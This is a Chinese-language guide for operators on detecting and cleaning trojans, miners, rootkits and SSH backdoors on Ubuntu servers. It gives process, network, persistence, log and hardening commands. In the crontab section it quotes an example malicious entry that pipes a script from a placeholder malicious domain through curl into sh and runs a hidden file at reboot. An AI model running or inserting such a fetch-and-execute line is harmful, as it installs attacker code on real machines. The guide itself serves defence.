Ubuntu服务器一旦出现异常外联、CPU长期占满、陌生进程杀不掉、crontab被注入陌生任务,基本可以判断已经进入病毒木马排查范围。很多运维第一反应是装个杀毒软件全盘扫描,但生产环境服务器这样做既慢又容易误伤业务。真正有效的做法是先做进程、网络、计划任务、启动项和文件特征的定向排查,再结合内核级隐藏手段做深度清理。下面直接讲具体的排查命令、判断逻辑和处置方法。
一、先定位异常进程和异常外联
排查病毒木马的第一步不是盲目杀文件,而是看进程和网络连接。多数Linux木马需要维持外联或者挖矿,行为特征非常明显。执行以下命令查看CPU和内存占用最高的进程:
ps aux --sort=-%cpu | head -20 ps aux --sort=-%mem | head -20
重点看那些名字看起来像系统进程但路径异常的条目。比如进程名是nginx、apache2、mysql,但执行路径却在/tmp、/var/tmp、/dev/shm、/home下面,基本可以判定为伪装进程。用以下命令查看具体进程的完整路径和启动参数:
ls -l /proc/PID/exe cat /proc/PID/cmdline | tr '\0' ' '
网络连接方面,用ss命令查看所有TCP和UDP连接:
ss -antup ss -anup
重点观察ESTABLISHED状态的外部IP连接,尤其是连接到非常用端口、境外IP或者明显属于矿池域名的解析结果。如果发现某个进程持续连接某个IP的4444、5555、7777、9999等端口,基本可以确认是木马回连。再用lsof定位进程打开的文件和socket:
lsof -p PID
如果发现进程删除了自身可执行文件但仍然在运行,ls -l /proc/PID/exe会显示“(deleted)”,这是典型的木马隐藏手法。此时进程本体已经从磁盘消失,但内存中仍在运行,需要直接kill -9 PID并清理相关启动项。
二、检查计划任务和启动项
Linux木马持久化最常用的手段就是写入crontab、systemd timer、rc.local、/etc/profile、/etc/bash.bashrc等位置。先检查所有用户的crontab:
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -l -u $user 2>/dev/null; done
同时检查系统级crontab目录和文件:
cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.daily/ ls -la /etc/cron.hourly/ ls -la /etc/cron.weekly/ ls -la /etc/cron.monthly/ ls -la /var/spool/cron/crontabs/
木马常见的crontab条目会指向/tmp、/var/tmp、/dev/shm下的可执行文件,或者使用curl、wget从远程下载脚本执行。例如:
*/5 * * * * curl -fsSL http://恶意域名/x.sh | sh @reboot /tmp/.hidden/update
systemd服务也是重点检查对象。查看所有启用中的服务:
systemctl list-unit-files --type=service --state=enabled systemctl list-units --type=service --state=running
重点检查/usr/lib/systemd/system/和/etc/systemd/system/下面最近被修改的.service文件,尤其是那些ExecStart指向/tmp或/var/tmp路径的服务。用以下命令找出最近7天内被修改的service文件:
find /etc/systemd/system /usr/lib/systemd/system -name "*.service" -mtime -7 -ls
另外要检查/etc/rc.local、/etc/init.d/、/etc/profile.d/、/etc/ld.so.preload等位置。其中/etc/ld.so.preload是高级木马常用的动态链接库劫持点,如果这个文件存在且内容指向陌生.so文件,说明系统可能已经被植入用户态rootkit。
三、检查异常文件和隐藏目录
木马文件通常藏在/tmp、/var/tmp、/dev/shm、/run、/home等可写目录中,并且经常使用隐藏文件名(以点开头)或者伪装成系统文件名。用以下命令查找这些目录下最近被修改的可执行文件:
find /tmp /var/tmp /dev/shm /run /home -type f -mtime -3 -ls 2>/dev/null find /tmp /var/tmp /dev/shm /run /home -type f -perm -111 -ls 2>/dev/null
重点看那些名字带空格、点号、奇怪字符的文件,例如“ ”(空格)、“.. ”(双点加空格)、“.bash”(伪装成隐藏文件)。使用ls -la查看隐藏文件:
ls -la /tmp ls -la /var/tmp ls -la /dev/shm ls -la /run ls -la /home/*
还要检查/usr/bin、/usr/sbin、/bin、/sbin下面最近被替换的系统命令。木马经常替换ps、top、netstat、ls、find等命令,让管理员看不到恶意进程和文件。用rpm或dpkg校验系统命令完整性:
# Debian/Ubuntu系统 dpkg -V $(dpkg -S $(which ps top ls netstat find) | cut -d: -f1 | sort -u)
如果dpkg -V输出显示某个二进制文件的校验值不匹配,说明该系统命令已经被篡改。此时不要相信系统自带的ps、top、netstat等命令的输出结果,应该使用busybox或者从干净系统拷贝的静态编译工具进行排查。
四、检查内核模块和rootkit
高级木马会以内核模块形式隐藏进程、文件和网络连接。检查当前加载的内核模块:
lsmod cat /proc/modules
重点看那些陌生模块名、没有许可证信息或者来源不明的模块。用modinfo查看模块详情:
modinfo 模块名
如果怀疑有内核级rootkit,可以安装并运行chkrootkit和rkhunter进行检测:
apt update apt install chkrootkit rkhunter -y chkrootkit rkhunter --check --skip-keypress
这两个工具能检测常见的LKM rootkit、用户态rootkit和已知木马特征。但要注意,chkrootkit和rkhunter本身也可能被rootkit干扰,所以最好在系统刚安装时建立基线,或者在排查时从干净介质启动进行离线检测。
五、检查SSH后门和账户安全
木马入侵后经常在SSH配置中留后门,或者添加隐藏账户。检查SSH配置文件:
cat /etc/ssh/sshd_config
重点看是否出现陌生的AuthorizedKeysFile路径、PermitRootLogin被修改为yes、或者出现异常的AllowUsers/AllowGroups配置。检查所有用户的authorized_keys文件:
find /home /root -name "authorized_keys" -type f -exec ls -la {} \; -exec cat {} \;
如果发现不认识的公钥,立即删除。同时检查/etc/passwd和/etc/shadow中是否有UID为0的异常账户:
awk -F: '($3 == 0) {print $1}' /etc/passwd
grep -v '^#' /etc/passwd | awk -F: '($3 >= 1000) {print $1, $3, $7}'
正常系统应该只有root的UID为0。如果出现其他UID为0的账户,说明攻击者已经创建了超级用户后门。另外检查/etc/sudoers和/etc/sudoers.d/目录,确认没有陌生用户被授予sudo权限:
cat /etc/sudoers ls -la /etc/sudoers.d/ cat /etc/sudoers.d/*
六、日志分析和入侵痕迹追踪
日志是判断入侵时间、入侵方式和攻击者行为的关键。先检查认证日志:
grep -E "Failed password|Accepted password|Accepted publickey" /var/log/auth.log | tail -100 last -20 lastb -20
重点看是否存在大量暴力破解记录、从陌生IP成功登录的记录、以及非正常时间段的登录行为。如果攻击者清理过日志,可以尝试从journald中恢复:
journalctl -u ssh --since "3 days ago" --no-pager journalctl --since "3 days ago" | grep -i -E "ssh|login|sudo|fail"
同时检查shell历史记录,看攻击者执行过什么命令:
cat /root/.bash_history | tail -100
find /home -name ".bash_history" -type f -exec tail -50 {} \;
注意,很多木马会清除history或者将history文件链接到/dev/null,所以history为空或者异常短也是入侵迹象。
七、彻底清理和加固
确认木马文件和进程后,按以下顺序清理:先杀掉恶意进程,再删除恶意文件和启动项,最后修复被篡改的系统命令。杀进程时要注意,有些木马有守护进程,杀掉一个会立刻拉起另一个。可以用以下方式同时杀掉进程组:
kill -9 -PGID pkill -9 -f 恶意进程特征
删除恶意文件时,先查看文件是否被锁定:
lsattr /path/to/malware chattr -i -a /path/to/malware rm -f /path/to/malware
有些木马会给自身文件加上immutable或append-only属性,防止被删除。必须先用chattr去掉属性再删除。清理完crontab、systemd服务、rc.local等启动项后,重启系统验证木马不会再次启动。
最后进行安全加固:更新系统和所有软件包(apt update && apt upgrade -y)、禁用root密码登录改用密钥认证、修改SSH默认端口、配置防火墙只开放必要端口、安装fail2ban防止暴力破解、定期检查crontab和启动项变化。对于已经确认被入侵的服务器,最稳妥的做法是备份业务数据后重装系统,因为无法保证攻击者没有留下其他隐藏后门。
日常运维中,建议每周执行一次进程和网络连接检查,每月检查一次计划任务和启动项变化,同时建立文件完整性监控(如aide或tripwire),一旦关键系统文件被篡改能第一时间发现。Ubuntu服务器的病毒木马排查核心不是依赖杀毒软件,而是依靠对系统行为的持续监控和对异常特征的快速识别。
